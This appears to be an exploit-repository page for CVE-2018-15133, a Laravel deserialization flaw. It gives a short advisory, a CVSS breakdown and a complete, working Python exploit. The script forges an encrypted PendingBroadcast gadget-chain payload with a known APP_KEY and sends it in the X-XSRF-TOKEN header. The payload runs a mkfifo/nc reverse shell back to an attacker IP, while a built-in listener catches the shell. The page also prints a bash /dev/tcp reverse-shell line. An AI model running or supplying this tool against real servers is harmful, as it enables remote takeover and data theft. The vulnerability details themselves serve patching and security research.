PRIMARY CATEGORY β EXPLOITS
CVE-2018-15133 π₯ β PHP Laravel Framework
Attack Vector π‘οΈ β Insecure Object Deserialization to RCE
Affected Versions π¨ β 5.5.40 / 5.6.x < 5.6.40
Severity π© β High 8.1/10
Description
In Laravel Framework through 5.5.40 and 5.6.x through 5.6.29, RCE might occur as a result of an Unserialize call on a Potentially Untrusted X-XSRF-TOKEN value.
This involves the decrypt method in Illuminate/Encryption/Encrypter.php and PendingBroadcast in gadgetchains/Laravel/RCE/3/chain.php in phpggc.
The attacker must know the application key (i.e. APP KEY), which normally would never occur, but could happen if the attacker previously had privileged access or successfully accomplished a previous attack.
CVSS Score
TL;DR β CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS Base Metrics | Values |
---|---|
Attack Vector | Network |
Attack Complexity | High |
Privileges Required | None |
User Interaction | None |
Scope | Unchanged |
Confidentiality | High |
Integrity | High |
Availability | High |
Setup
python3 -m venv ./venv
source ./venv/bin/activate
pip install -r ./requirements.txt
Usage
Help Display
python3 CVE-2018-15133.py --help
Script Execution
python3 CVE-2018-15133.py APP_KEY TARGET_LARAVEL_URL ATTACKER_IP ATTACKER_LPORT
Zoom In
Code
Exploit
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad from Crypto.Hash import HMAC, SHA256 from Crypto.Random import get_random_bytes from colorama import Fore, Style from pwn import * import base64 import json import sys import argparse import os import requests import signal import re import time import threading def banner(): return Fore.GREEN + """ βββ βββ ββββββ βββ βββ ββββββββ βββ ββββββ βββ ββββββββ ββββ ββββββ βββ β βββββββββ ββββ ββββ β ββββ ββββ ββββββ ββββ β ββββ βββ βββ βββ βββ ββββ ββββββ βββββββ ββββ βββ ββββ βββββββ ββββ βββββββββ βββββββ ββββββββββββ ββββββ β ββββ ββββ βββββββ ββββββ β ββββββββββ ββββββββ ββββ ββ ββββββββ βββββββββββββββ β βββββ β ββββ βββββββ β βββ βββ βββββ ββ ββββ ββ βββββ ββ ββ ββ ββ βββ β β ββ β β β ββ ββ ββ β β β β β β ββ β ββ β ββ β ββ ββ ββ β β ββ β β β β β β ββ β β β β β β β ββ β β β ββ β β β β ββ β β β β β β β β β β β β β β β β β β β β β """ + Style.RESET_ALL def description(): return Fore.MAGENTA + """ Description: ## --------------------------------------------- ## ## ----- Exploit related to CVE-2018-15133 ----- ## ## --------------------------------------------- ## - Insecure Object Deserialization to RCE in Laravel - This CVE can be exploited if the Laravel APP_KEY has been leaked - The above key can be leaked due to enabled DEBUG MODE or a visible .env file """ + Style.RESET_ALL def revShellWarning(ip, port): return f'''{Fore.MAGENTA} [>] {Fore.RED}The Reverse Shell obtained is not associated with a stable TTY/PTY β {Fore.MAGENTA}[βΉ] {Fore.BLUE}Try to stablish another reverse connection as follows β {Fore.CYAN}[>] {Fore.MAGENTA}bash -c "bash -i &> /dev/tcp/{ip}/{int(port) + 1} 0>&1 {Fore.CYAN}[>] {Fore.MAGENTA}rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip} {int(port) + 1} >/tmp/f{Style.RESET_ALL} ''' def sigint_handler(sig, frame): """ Function to handle SIGINT Signals - Print Information - Reset SIGINT Handler - Send a SIGINT Signal to the current Process instead of sys.exit()(WRONG!!) """ print('\n') p = log.progress(Fore.CYAN + 'Exit' + Style.RESET_ALL) p.status(Fore.MAGENTA + 'SIGINT Signal sent to the process. Exiting... β' + Style.RESET_ALL) time.sleep(1) #exploit.closeListener() if exploit else None signal.signal(signal.SIGINT, signal.SIG_DFL) p.success(Fore.GREEN + 'Exited β ' + Style.RESET_ALL) os.killpg(os.getpid(), signal.SIGINT) class Exploit(): def __init__(self, key, url): self.key = base64.b64decode(key) self.url = url def craftPayload(self, command): p = log.progress(Fore.CYAN + 'Payload' + Style.RESET_ALL) p.status(Fore.MAGENTA + 'Crafting the Malicious Payload... β' + Style.RESET_ALL) time.sleep(1) payload = ( f'O:40:"Illuminate\Broadcasting\PendingBroadcast"' f':2:{{s:9:"\x00*\x00events";O:15:"Faker\Generator":1:' f'{{s:13:"\x00*\x00formatters";a:1:{{s:8:"dispatch";s:6:"system";}}}}' f's:8:"\x00*\x00event";s:{len(command)}:"{command}";}}' ) iv, cipher_obj, hmac = self.encryptPayload(payload) data = { 'iv' : iv.decode(), 'value' : cipher_obj.decode(), 'mac' : hmac } payload = base64.b64encode(json.dumps(data).encode()).decode() p.success(Fore.GREEN + 'Payload Crafted β ' + Style.RESET_ALL) if payload else p.failure(Fore.RED + 'Could not generate the Payload β' + Style.RESET_ALL ) return payload def encryptPayload(self, payload): """ Method to cipher a string-like plain payload and returns the IV and the ciphered payload - Generate the IV (Required in AES-CBC Mode. If not specified, one is randomly generated) - Generate a cipher object and encrypt the encoded and padded plain payload """ p = log.progress(Fore.CYAN + 'Cipher Payload' + Style.RESET_ALL) p.status(Fore.MAGENTA + 'Encrypting Payload... β' + Style.RESET_ALL) time.sleep(1) iv = get_random_bytes(16) cipher = AES.new(self.key, AES.MODE_CBC, iv) cipher_obj = cipher.encrypt(pad(payload.encode(), AES.block_size)) p.success(Fore.GREEN + 'Payload encrypted β ' + Style.RESET_ALL) if cipher_obj else p.failure(Fore.RED + 'Could not encrypt the Payload β' + Style.RESET_ALL ) return self.generatePayloadHMAC(iv, cipher_obj) def generatePayloadHMAC(self, iv, payload): """ Method to generate a HMAC (Hashed based Message Auth Code) from: - Key (It can be the as the Simmetric Encryption Key) - IV - Cypher Object (Payload) Note that the IV and Cypher Object are b64-encoded before HMAC generation (Laravel Based Logic) """ p = log.progress(Fore.CYAN + 'Payload HMAC' + Style.RESET_ALL) p.status(Fore.MAGENTA + 'Generating HMAC... β' + Style.RESET_ALL) time.sleep(1) iv = base64.b64encode(iv) payload = base64.b64encode(payload) hmac = HMAC.new(self.key, iv + payload, digestmod=SHA256).hexdigest() p.success(Fore.GREEN + 'HMAC generated β ' + Style.RESET_ALL) if hmac else p.failure(Fore.RED + 'Could not generate the HMAC β' + Style.RESET_ALL ) return iv, payload, hmac def setListener(self, ip, port): """ This Method, executed by a thread, carries out the following actions: - Set a Listen Socket in the specified TCP/IP Stack - Wait a Remote Connection (From the Payload sent) - Stablish a Connection and receives a Reverse Shell from the Target """ p = log.progress(Fore.CYAN + 'Socket' + Style.RESET_ALL) p.status(Fore.MAGENTA + f'Waiting for connnections on {ip}:{port}... β' + Style.RESET_ALL) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as self.s: self.s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.s.bind((ip, int(port))) self.s.listen(1) conn, addr = self.s.accept() p.status(Fore.GREEN + f'Connection stablished from {addr[0]}:{addr[1]} β ' + Style.RESET_ALL) print(conn.recv(4096).decode(), end="") while True: cmd = input() conn.send(cmd.encode() + b"\n") time.sleep(1) print(conn.recv(4096).decode(), end="") def sendPayload(self, payload): """ Method to sent a HTTP-POST Request to Laravel URL Target with the malicious payload as X-XSRF-TOKEN Header value """ p = log.progress(Fore.CYAN + 'Send Payload' + Style.RESET_ALL) p.status(Fore.MAGENTA + 'Sending Payload to the Laravel Target... β\n' + Style.RESET_ALL) time.sleep(1) headers = { 'X-XSRF-TOKEN' : payload } try: r = requests.post(self.url, headers=headers) # Error 500 may means that Debug Mode is enabled in Laravel # APP_KEY leaked then if r.status_code == 500: p.success(Fore.GREEN + 'Payload sent to the Target β \n\n' + Style.RESET_ALL) else: print( Fore.MAGENTA + "It seems like DEBUG MODE is not enabled in Laravel\n" "Just change the r.status_code value in the if statement to if r.ok:" + Style.RESET_ALL ) sys.exit(1) except requests.ConnectionError as e: print(Fore.RED + f"Connection Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.Timeout as e: print(Fore.RED + f"Timeout Error: {e}" + Style.RESET_ALL) sys.exit(1) except requests.RequestException as e: print(Fore.RED + f"Error: {e}" + Style.RESET_ALL) sys.exit(1) def runShell(self, ip, port): """ Method with executes the other Class Methods """ command = f'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc {ip} {port} >/tmp/f' payload = self.craftPayload(command) lthread = threading.Thread(target=self.setListener, args=(ip, port)) lthread.start() time.sleep(2) print(revShellWarning(ip, port)) log.info(Fore.YELLOW + 'Press C-c to Exit\n' + Style.RESET_ALL) self.sendPayload(payload) lthread.join() def main(): print(banner()) parser = argparse.ArgumentParser( formatter_class=argparse.RawDescriptionHelpFormatter, description=description() ) parser.add_argument('key', help='This is the Laravel APP KEY π') parser.add_argument('url', help='Target Laravel URL e.g. http[s]://<IP_ADDRESS_OR_DOMAIN> β¨') parser.add_argument('ip', help='Attacker IP Addr π‘') parser.add_argument('port', help='Attacker LPort π‘') if len(sys.argv) != 5: parser.print_help() sys.exit(1) opts = parser.parse_args() exploit = Exploit(opts.key, opts.url) exploit.runShell(opts.ip, opts.port) if __name__ == "__main__": signal.signal(signal.SIGINT, sigint_handler) main()
References
Reference IΒ Β Β Β β’Β Β Β Β Reference IIΒ Β Β Β β’Β Β Β Β Reference IIIΒ Β Β Β β’Β Β Β Β Reference IV